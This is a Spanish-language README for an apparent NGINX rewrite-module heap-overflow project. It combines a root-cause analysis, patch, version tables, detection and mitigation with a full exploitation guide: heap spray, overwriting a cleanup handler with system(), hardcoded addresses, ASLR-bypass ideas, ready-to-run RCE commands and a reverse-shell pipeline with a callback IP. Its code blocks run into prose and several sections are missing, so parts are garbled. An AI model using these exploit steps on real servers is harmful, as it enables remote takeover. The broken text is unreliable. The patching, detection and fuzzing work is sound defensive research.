location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Requisitos clave:**
- Una directiva `rewrite` cuya sustitución contenga `?` (separador de cadena de consulta)
- Una directiva `set`, `if` o `rewrite` posterior que haga referencia a una **captura PCRE sin nombre** (`$1`, `$2`, etc.)
- El `?` en la sustitución de rewrite activa `ngx_http_script_start_args_code` que establece `e->is_args = 1`

### Lo que un atacante puede lograr

| Capacidad | Descripción |
|-----------|-------------|
| **Denegación de Servicio** | Bloquear procesos worker de forma determinista, provocando bucles de reinicio (funciona independientemente de ASLR) |
| **Ejecución Remota de Código** | Con ASLR deshabilitado (o evitado mediante sobrescritura parcial), lograr RCE completa como usuario de nginx |
| **Exfiltración de Datos** | A través de primitivas de lectura de memoria, extraer datos sensibles del heap del worker |
| **Persistencia** | Instalar puertas traseras mediante ejecución de código en la memoria del proceso worker |

---

## 2. Análisis de Causa Raíz

### El Motor de Scripts de Dos Pasos

El `ngx_http_rewrite_module` de NGINX utiliza un **motor de scripts de dos pasos** en `src/http/ngx_http_script.c`:

1. **Pase de Longitud** (`ngx_http_script_run`): itera todos los códigos de script para calcular el tamaño total del búfer necesario. Escribe longitudes en `le.ip` y `le.pos`.
2. **Pase de Copia** (`ngx_http_script_copy_len`/`_code`): itera nuevamente, escribiendo bytes reales en el búfer preasignado en `e->ip` y `e->pos`.

Cada código de script tiene dos manejadores: uno para cada pase. Por ejemplo:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### La Bandera `is_args`

La bandera `e->is_args` en la **estructura del motor** (`ngx_http_script_engine_t`) controla cómo el pase de copia maneja ciertos caracteres:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Durante la **evaluación de reescritura**, el motor encuentra `?` en la cadena de reemplazo, lo que activa `ngx_http_script_start_args_code`, estableciendo `e->is_args = 1`.
2. La reescritura modifica la URI de la solicitud y luego continúa a la siguiente directiva.
3. **`e->is_args` NUNCA SE LIMPIA**.

Entonces:```
set $original_endpoint $1;

La proporción de expansión es `7 + (n_escapable * 2)` donde `n_escapable` es el recuento de `+`, `%`, y `&` en la captura.

---

## 3. Mecánica de Explotación

### Resumen

| Paso | Técnica | Descripción |
|------|-----------|-------------|
| 1 | Desbordamiento | Enviar URI manipulada con relleno de `+` para desbordar el búfer del heap |
| 2 | Heap Spray | Publicar cuerpos grandes en `/spray` para llenar el heap con datos controlados |
| 3 | Feng Shui | Organizar asignaciones para que el objetivo del desbordamiento (`ngx_pool_cleanup_t`) sea adyacente |
| 4 | Corromper Handler | El desbordamiento sobrescribe `ngx_pool_cleanup_t.handler` con la dirección de `system()` |
| 5 | Activar Limpieza | Esperar la destrucción del pool → `system(cmd)` ejecuta el comando del atacante |
| 6 | Reverse Shell | Encadenar al payload de reverse shell para acceso interactivo |

### Feng Shui entre solicitudes

**El Feng Shui de una sola solicitud falla** porque el desbordamiento corrompe los metadatos del pool (`->d.next`, `->d.failed`) antes de llegar al puntero `cleanup`. Cuando el pool se destruye al final de la solicitud, los metadatos corruptos causan un **bloqueo antes de que se llame a `system()`**.

En su lugar, el exploit utiliza **Feng Shui entre solicitudes**:
1. **Solicitud 1 (spray)**: Publicar un cuerpo grande en `/spray`. El backend (`server.py`) retiene la respuesta con el encabezado `X-Delay`, manteniendo la conexión abierta y preservando la asignación del heap. El spray llena el heap con bloques falsos `ngx_pool_cleanup_t`.
2. **Solicitud 2 (desbordamiento)**: Enviar la URI de desbordamiento. El desbordamiento corrompe solo el puntero `cleanup` (no los metadatos del pool), apuntándolo al bloque falso del spray.
3. **Destrucción del pool**: Cuando la respuesta del spray se completa (el retraso expira), la cadena de limpieza del pool avanza hasta el bloque falso y llama a `system(cmd)`.

### Requisitos de Direcciones

| Símbolo | Valor (Docker, ASLR desactivado) | Descripción |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base del heap de nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` en glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntero al pool de ciclos |
| Dirección de limpieza falsa | `0x5555556a4030` | Dirección objetivo del spray |

### Bypass de ASLR

Sin deshabilitar ASLR, el **DoS** (bloqueo) aún funciona de manera determinista. Para RCE con ASLR habilitado, dos enfoques:

1. **Sobrescritura parcial**: Usar sobrescritura de 1 o 2 bytes para desplazar un puntero dentro de la misma página, forzando por fuerza bruta los nibbles restantes (16–256 intentos).
2. **Fuga de información**: Leer `/proc/self/maps` o usar el análisis de memoria de `log_parser.py` para determinar el diseño.

---

## 4. Análisis de la Corrección

### La Corrección Oficial

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Archivo**: `src/http/ngx_http_script.c`  
**Línea**: ~1205 (en `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Parches Retroportados

| Parche | Versiones de Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versiones Afectadas

### NGINX Open Source

| Rango | Estado |
|-------|--------|
| **0.1.0 – 0.6.26** | No afectado (el módulo rewrite es anterior a las capturas sin nombre) |
| **0.6.27 – 1.30.0** | **Vulnerable** (período de 18 años) |
| **1.30.1** | Primera versión corregida |
| **1.31.0+** | Corregido (mainline) |

### NGINX Plus

| Lanzamiento | Afectada | Corregida |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Ecosistema NGINX

| Producto | Afectado | Estado |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Aviso pendiente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Aviso pendiente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Aviso pendiente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Aviso pendiente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Aviso pendiente |
| NGINX Agent | 2.0.0–2.35.0 | Aviso pendiente |

---

## 6. Detección

### Verificación de Versión```bash
bash detection/detect_vuln.sh

### Escaneo de contenedores```bash
python3 detection/container_scan.py

## 7. Mitigación

### Inmediata (Sin cambio de código)

Reemplace **capturas sin nombre** por **capturas con nombre** en todas las directivas `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Aplica estas medidas de endurecimiento:
- Verificación de ASLR y habilitación forzada
- Aislamiento de procesos worker
- Restricción de volcados de núcleo
- Endurecimiento de SSL/TLS
- Limitación de tasa
- Encabezados CSP

### Verificación de ASLR```bash
bash detection/check_aslr.sh

---

## 9. Inicio Rápido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

El entorno Docker:
- Compila NGINX desde el código fuente en el commit `98fc3bb78` (último commit vulnerable antes de la corrección)
- Incluye GDB, valgrind, `util-linux` (para `setarch -R` para deshabilitar ASLR)
- Expone los puertos **19321** (nginx vulnerable), **19322** (secundario), **19323** (backend Python)
- El entrypoint usa `setarch x86_64 -R` para deshabilitar ASLR y obtener un diseño de direcciones determinista para el exploit
- Otorga la capacidad `SYS_PTRACE` y `seccomp=unconfined` para depuración

### Solo vulnerable```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### Contenedor ASAN```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

## 11. Desencadenar el Desbordamiento

### Fallo Básico (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Los caracteres `+` en la captura `$1` se expanden 3× durante el paso de copia mientras el búfer se dimensionó para la longitud bruta, desbordando el montón.

### Salida Esperada```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Calcula el número mínimo de signos `+` necesarios para desbordar un número objetivo de bytes (útil al explotar estructuras específicas del heap).

### Expansión de Caracteres```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Uso básico```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Advanced Options

| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host objetivo |
| `--port` | `19321` | Puerto objetivo |
| `--cmd` | — | Comando a ejecutar (requerido a menos que se use `--shell`) |
| `--shell` | — | Usar modo shell interactivo |
| `--tries` | `3` | Número de intentos de explotación |
| `--delay` | `2.0` | Retardo entre spray y desbordamiento (segundos) |
| `--payload` | — | Ruta al archivo de payload personalizado |
| `--debug` | — | Habilitar salida de depuración detallada |

### Análisis del diseño del heap```bash
python3 exploit/heap_layout.py

Encuentra direcciones de heap cuyos bytes no incluyen caracteres escapables (`+`, `%`, `&`, `?`, etc.) para su uso en la construcción de cargas de exploit.

---

## 13. Verificación de Reverse Shell

### Arquitectura```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Verificación Automatizada```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

## 14. Parcheo

### Aplicar el parche```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Aplicar Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

## 15. Pruebas

### Pruebas Unitarias```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Ejecuta:
1. Pruebas unitarias (pytest o unittest)
2. Prueba de activación/desbordamiento (si el servidor está ejecutándose)
3. Escáner de configuración contra configuraciones vulnerables y seguras
4. Validación de simulación de parche

### Matriz de regresión```bash
bash tools/regression_matrix.sh

Prueba todos los patrones de configuración (básico, avanzado, entrada, puerta de enlace) con disparadores de desbordamiento.

---

## 16. Fuzzing

### Harness de libFuzzer

El fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula el motor de script de dos pasadas:
1. Analiza la entrada como una secuencia de códigos de script
2. Ejecuta la pasada de longitud
3. Ejecuta la pasada de copia con `e->is_args = 1`
4. Detecta desbordamiento de búfer mediante ASAN o discrepancia de tamaño```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Lanza AFL++ con ASAN, tiempo de espera configurable y límites de memoria contra el harness de fuzzing.

### Corpus de Semillas

El directorio `fuzz/corpus/` contiene entradas de semillas que reproducen el patrón vulnerable, incluyendo:
- Disparador básico de desbordamiento
- Captura nombrada (no debería desbordar)
- Casos límite (captura vacía, tamaño máximo, etc.)

---

## 17. Tubería de CI

### GitHub Actions

El proyecto utiliza un **único flujo de trabajo de CI de GitHub Actions** (`.github/workflows/ci.yml`) con estos trabajos:

| Trabajo | Lo que hace |
|---------|-------------|
| `lint` | ShellCheck, validación de sintaxis de Python |
| `scan-configs` | Ejecuta config_scanner.py contra todas las muestras de configuración |
| `fuzz-build` | Construye el harness de libFuzzer |
| `test` | Ejecuta la suite de pytest/unittest |
| `detect-patch` | Verifica el formato del parche y el contenido de la corrección |
| `verify-project` | Ejecuta `tools/verify_project.sh` |

### Tubería Completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker